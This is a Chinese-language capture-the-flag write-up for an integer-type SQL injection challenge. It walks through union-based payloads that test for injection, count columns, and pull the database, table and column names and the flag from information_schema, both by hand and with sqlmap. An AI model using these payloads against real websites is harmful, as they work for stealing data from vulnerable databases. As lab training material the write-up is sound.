点击此处获得更好的阅读体验
文章来源
题目考点
- SQL整数型注入
解题思路
一些操作点
检查是否存在注入
1 | and 1=1 #返回正确 |
猜字段数(x为数字) 得出字段数
1 | order by x |
爆数据库名
1 | ?id=1 and 1=2 union select 1,database() |
得到数据库名称sqli
爆表名
1 | ?id=1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli' |
得到表名 news,flag
爆列名
1 | ?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' |
得到字段名flag
获得flag
1 | ?id=1 and 1=2 union select 1,group_concat(flag) from sqli.flag |
解法1-使用sqlmap
sqlmap工具方法:
1 | # 列出表名 |
1 | # 列出列名 |
1 | # 查数据 |
解法2-手工注入
输入1
正常输出
输入-1 union select 1,database()
查询数据库名称
输入-1 union select 1,version()
查询数据库版本
输入-1 union select 1,group_concat(schema_name) from informations_schema.schemata
查询所有数据库名称
输入-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)
查询当前数据的第一个表名,之后的limit 依次增加即可
或者也可以一次性查询
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
查询flag
-1 union select 1,group_concat(flag) from sqli.flag